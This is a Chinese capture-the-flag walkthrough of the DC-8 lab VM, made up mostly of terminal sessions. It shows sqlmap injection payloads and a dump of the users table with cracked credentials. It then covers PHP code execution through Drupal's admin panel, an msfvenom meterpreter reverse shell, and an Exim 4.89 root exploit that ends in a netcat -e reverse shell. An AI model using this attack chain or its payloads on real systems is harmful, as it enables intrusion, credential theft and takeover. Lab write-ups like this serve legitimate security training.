下载地址:点我
哔哩哔哩:点我
? ~ nmap -sn 192.168.116.1/24
Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-21 22:21 CST
Nmap scan report for 192.168.116.1
Host is up (0.00075s latency).
Nmap scan report for 192.168.116.135
Host is up (0.00038s latency).
Nmap done: 256 IP addresses (2 hosts up) scanned in 5.16 seconds
? ~ nmap -A -T4 192.168.116.135 -p-
Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-21 22:21 CST
Nmap scan report for 192.168.116.135
Host is up (0.0063s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey:
| 2048 35:a7:e6:c4:a8:3c:63:1d:e1:c0:ca:a3:66:bc:88:bf (RSA)
| 256 ab:ef:9f:69:ac:ea:54:c6:8c:61:55:49:0a:e7:aa:d9 (ECDSA)
|_ 256 7a:b2:c6:87:ec:93:76:d4:ea:59:4b:1b:c6:e8:73:f2 (ED25519)
80/tcp open http Apache httpd
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache
|_http-title: Welcome to DC-8 | DC-8
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.68 seconds
? ~
http://192.168.116.135/robots.txt
,php文件有下面几个:Disallow: /cron.php
Disallow: /install.php
Disallow: /update.php
Disallow: /xmlrpc.php
Disallow: /admin/
Disallow: /comment/reply/
Disallow: /filter/tips/
Disallow: /node/add/
Disallow: /search/
Disallow: /user/register/
Disallow: /user/password/
Disallow: /user/login/
Disallow: /user/logout/
Disallow: /?q=admin/
Disallow: /?q=comment/reply/
Disallow: /?q=filter/tips/
Disallow: /?q=node/add/
Disallow: /?q=search/
Disallow: /?q=user/password/
Disallow: /?q=user/register/
Disallow: /?q=user/login/
Disallow: /?q=user/logout/
http://192.168.116.135/CHANGELOG.txt
,扫过没发现什么东西。? ~ droopescan scan drupal -u 192.168.116.135
[+] Plugins found:
ctools http://192.168.116.135/sites/all/modules/ctools/
http://192.168.116.135/sites/all/modules/ctools/LICENSE.txt
http://192.168.116.135/sites/all/modules/ctools/API.txt
views http://192.168.116.135/sites/all/modules/views/
http://192.168.116.135/sites/all/modules/views/README.txt
http://192.168.116.135/sites/all/modules/views/LICENSE.txt
webform http://192.168.116.135/sites/all/modules/webform/
http://192.168.116.135/sites/all/modules/webform/LICENSE.txt
ckeditor http://192.168.116.135/sites/all/modules/ckeditor/
http://192.168.116.135/sites/all/modules/ckeditor/CHANGELOG.txt
http://192.168.116.135/sites/all/modules/ckeditor/README.txt
http://192.168.116.135/sites/all/modules/ckeditor/LICENSE.txt
better_formats http://192.168.116.135/sites/all/modules/better_formats/
http://192.168.116.135/sites/all/modules/better_formats/README.txt
http://192.168.116.135/sites/all/modules/better_formats/LICENSE.txt
image http://192.168.116.135/modules/image/
profile http://192.168.116.135/modules/profile/
php http://192.168.116.135/modules/php/
[+] Themes found:
seven http://192.168.116.135/themes/seven/
garland http://192.168.116.135/themes/garland/
[+] Possible version(s):
7.67
[+] Possible interesting urls found:
Default changelog file - http://192.168.116.135/CHANGELOG.txt
Default admin - http://192.168.116.135/user/login
[+] Scan finished (0:00:42.200148 elapsed)
? ~
http://192.168.116.135/?nid=1%27
PDOException: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1: SELECT title FROM node WHERE nid = 1'; Array ( ) in mypages_init() (line 6 of /var/www/html/sites/all/modules/mypages/mypages.module).
? ~ sqlmap -u "http://192.168.116.135/?nid=1" --batch
___
__H__
___ ___[(]_____ ___ ___ {1.3.8#stable}
|_ -| . [)] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 00:07:13 /2019-09-22/
[00:07:13] [INFO] testing connection to the target URL
[00:07:13] [INFO] checking if the target is protected by some kind of WAF/IPS
[00:07:13] [INFO] testing if the target URL content is stable
[00:07:13] [WARNING] target URL content is not stable (i.e. content differs). sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison'
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C
[00:07:13] [INFO] testing if GET parameter 'nid' is dynamic
[00:07:13] [WARNING] GET parameter 'nid' does not appear to be dynamic
[00:07:13] [INFO] heuristic (basic) test shows that GET parameter 'nid' might be injectable (possible DBMS: 'MySQL')
[00:07:14] [INFO] heuristic (XSS) test shows that GET parameter 'nid' might be vulnerable to cross-site scripting (XSS) attacks
[00:07:14] [INFO] testing for SQL injection on GET parameter 'nid'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[00:07:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:07:14] [WARNING] reflective value(s) found and filtering out
[00:07:14] [INFO] GET parameter 'nid' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="Status message")
[00:07:14] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[00:07:14] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[00:07:14] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[00:07:14] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[00:07:14] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[00:07:14] [WARNING] potential permission problems detected ('command denied')
[00:07:14] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[00:07:14] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[00:07:14] [INFO] GET parameter 'nid' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable
[00:07:14] [INFO] testing 'MySQL inline queries'
[00:07:14] [INFO] testing 'MySQL > 5.0.11 stacked queries (comment)'
[00:07:14] [WARNING] time-based comparison requires larger statistical model, please wait.............. (done)
[00:07:15] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[00:07:15] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP - comment)'
[00:07:15] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP)'
[00:07:15] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[00:07:15] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[00:07:15] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[00:07:25] [INFO] GET parameter 'nid' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[00:07:25] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[00:07:25] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[00:07:25] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[00:07:25] [INFO] target URL appears to have 1 column in query
[00:07:25] [INFO] GET parameter 'nid' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'nid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 47 HTTP(s) requests:
---
Parameter: nid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: nid=1 AND 7434=7434
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: nid=1 AND (SELECT 5822 FROM(SELECT COUNT(*),CONCAT(0x716b767871,(SELECT (ELT(5822=5822,1))),0x7178717671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: nid=1 AND (SELECT 6066 FROM (SELECT(SLEEP(5)))jOuH)
Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload: nid=-9086 UNION ALL SELECT CONCAT(0x716b767871,0x635349446c7871725473696250696f6e57684163546277736a706a416479444c736e424d6669744e,0x7178717671)-- KIcF
---
[00:07:25] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.0
[00:07:25] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 23 times
[00:07:25] [INFO] fetched data logged to text files under '/home/kali-team/.sqlmap/output/192.168.116.135'
[*] ending @ 00:07:25 /2019-09-22/
? ~ sqlmap -u "http://192.168.116.135/?nid=1" --batch -D d7db -T users -C name,mail,pass --dump
___
__H__
___ ___[.]_____ ___ ___ {1.3.8#stable}
|_ -| . [(] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 08:52:00 /2019-09-22/
[08:52:00] [INFO] resuming back-end DBMS 'mysql'
[08:52:00] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: nid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: nid=1 AND 7434=7434
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: nid=1 AND (SELECT 5822 FROM(SELECT COUNT(*),CONCAT(0x716b767871,(SELECT (ELT(5822=5822,1))),0x7178717671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: nid=1 AND (SELECT 6066 FROM (SELECT(SLEEP(5)))jOuH)
Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload: nid=-9086 UNION ALL SELECT CONCAT(0x716b767871,0x635349446c7871725473696250696f6e57684163546277736a706a416479444c736e424d6669744e,0x7178717671)-- KIcF
---
[08:52:00] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.0
[08:52:00] [INFO] fetching entries of column(s) 'mail, name, pass' for table 'users' in database 'd7db'
[08:52:00] [INFO] used SQL query returns 3 entries
[08:52:00] [INFO] retrieved: '','',''
[08:52:00] [INFO] retrieved: 'dcau-user@outlook.com','admin','$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z'
[08:52:00] [INFO] retrieved: 'john@blahsdfsfd.org','john','$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF'
Database: d7db
Table: users
[2 entries]
+-------+-----------------------+---------------------------------------------------------+
| name | mail | pass |
+-------+-----------------------+---------------------------------------------------------+
| admin | dcau-user@outlook.com | $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z |
| john | john@blahsdfsfd.org | $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF |
+-------+-----------------------+---------------------------------------------------------+
[08:52:00] [INFO] table 'd7db.users' dumped to CSV file '/home/kali-team/.sqlmap/output/192.168.116.135/dump/d7db/users.csv'
[08:52:00] [INFO] fetched data logged to text files under '/home/kali-team/.sqlmap/output/192.168.116.135'
[*] ending @ 08:52:00 /2019-09-22/
? ~
https://hashcat.net/wiki/doku.php?id=example_hashes
,也可以在这搜索一下特征。当然是Drupal自写的算法。? ~ cat hash.txt
$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF
? ~ hashid hash.txt
--File 'hash.txt'--
Analyzing '$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z'
[+] Drupal > v7.x
Analyzing '$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF'
[+] Drupal > v7.x
--End of file 'hash.txt'--% ? ~
? ~ john hash.txt --show
john@blahsdfsfd.org:turtle
1 password hash cracked, 1 left
? ~
http://192.168.116.135/?q=user/login/
,进到后台修改配置项Contact Us的Form settings,把Text format 的选项改为PHP Code。? ~ msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.116.1 LPORT=7788 -o shell.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 30656 bytes
Saved as: shell.php
? ~
msf5 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (php/meterpreter_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.116.1 yes The listen address (an interface may be specified)
LPORT 7788 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.116.1:7788
[*] Meterpreter session 3 opened (192.168.116.1:7788 -> 192.168.116.135:45166) at 2019-09-22 09:12:05 +0800
meterpreter >
meterpreter > shell
Process 1087 created.
Channel 0 created.
bash
python -c 'import pty;pty.spawn("/bin/bash")'
www-data@dc-8:/var/www/html$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/newgrp
/usr/sbin/exim4
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/bin/ping
/bin/su
/bin/umount
/bin/mount
www-data@dc-8:/var/www/html$
/usr/sbin/exim4
,在正常情况很少这种情况,所以出题人故意的。查看版本是:4.89www-data@dc-8:/var/www/html$ exim4 --version
exim4 --version
Exim version 4.89 #2 built 14-Jun-2017 05:03:07
Copyright (c) University of Cambridge, 1995 - 2017
(c) The Exim Maintainers and contributors in ACKNOWLEDGMENTS file, 2007 - 2017
Berkeley DB: Berkeley DB 5.3.28: (September 9, 2013)
Support for: crypteq iconv() IPv6 GnuTLS move_frozen_messages DKIM DNSSEC Event OCSP PRDR SOCKS TCP_Fast_Open
Lookups (built-in): lsearch wildlsearch nwildlsearch iplsearch cdb dbm dbmjz dbmnz dnsdb dsearch nis nis0 passwd
Authenticators: cram_md5 plaintext
Routers: accept dnslookup ipliteral manualroute queryprogram redirect
Transports: appendfile/maildir/mailstore autoreply lmtp pipe smtp
Fixed never_users: 0
Configure owner: 0:0
Size of off_t: 8
Configuration file is /var/lib/exim4/config.autogenerated
https://www.exploit-db.com/exploits/46996
? ~ searchsploit exim 4.8
------------------------------------------------------------------------------ ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
------------------------------------------------------------------------------ ----------------------------------------
Exim 4.84-3 - Local Privilege Escalation | exploits/linux/local/39535.sh
Exim 4.87 - 4.91 - Local Privilege Escalation | exploits/linux/local/46996.sh
Exim 4.87 / 4.91 - Local Privilege Escalation (Metasploit) | exploits/linux/local/47307.rb
Exim 4.87 < 4.91 - (Local / Remote) Command Execution | exploits/linux/remote/46974.txt
Exim 4.89 - 'BDAT' Denial of Service | exploits/multiple/dos/43184.txt
Exim < 4.86.2 - Local Privilege Escalation | exploits/linux/local/39549.txt
Exim ESMTP 4.80 - glibc gethostbyname Denial of Service | exploits/linux/dos/35951.py
------------------------------------------------------------------------------ ----------------------------------------
Shellcodes: No Result
? ~
msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > show options
Module options (exploit/linux/local/exim4_deliver_message_priv_esc):
Name Current Setting Required Description
---- --------------- -------- -----------
EXIMPORT 25 yes The port exim is listening to
SESSION 3 yes The session to run this module on.
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.116.1 yes The listen address (an interface may be specified)
LPORT 13371 yes The listen port
Exploit target:
Id Name
-- ----
0 Exim 4.87 - 4.91
msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > run
[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 192.168.116.1:13371
[*] Payload sent, wait a few seconds...
[-] Exploit aborted due to failure: unknown: Couldn't escalate privileges
[*] Exploit completed, but no session was created.
msf5 exploit(linux/local/exim4_deliver_message_priv_esc) >
bash: ./46996.sh: /bin/bash^M: bad interpreter: No such file or directory
www-data@dc-8:/tmp$ ./46996.sh
./46996.sh
bash: ./46996.sh: /bin/bash^M: bad interpreter: No such file or directory
www-data@dc-8:/tmp$ sed -i -e 's/\r$//' 46996.sh
$ ./46996.sh -m netcat
./46996.sh -m netcat
raptor_exim_wiz - "The Return of the WIZard" LPE exploit
Copyright (c) 2019 Marco Ivaldi <raptor@0xdeadbeef.info>
Delivering netcat payload...
220 dc-8 ESMTP Exim 4.89 Sun, 22 Sep 2019 21:03:24 +1000
250 dc-8 Hello localhost [::1]
250 OK
250 Accepted
354 Enter message, ending with "." on a line by itself
250 OK id=1iBzeG-0000Ui-8O
221 dc-8 closing connection
Waiting 5 seconds...
localhost [127.0.0.1] 31337 (?) open
netcat -e /bin/bash 192.168.116.1 2333
netcat -e /bin/bash 192.168.116.1 2333
netcat -e /bin/bash 192.168.116.1 2333
,就能拿到Root权限了。? ~ netcat -nlvp 2333
Connection from 192.168.116.135:33958
id
uid=0(root) gid=113(Debian-exim) groups=113(Debian-exim)
忘记了
原文:https://www.cnblogs.com/Kali-Team/p/12212378.html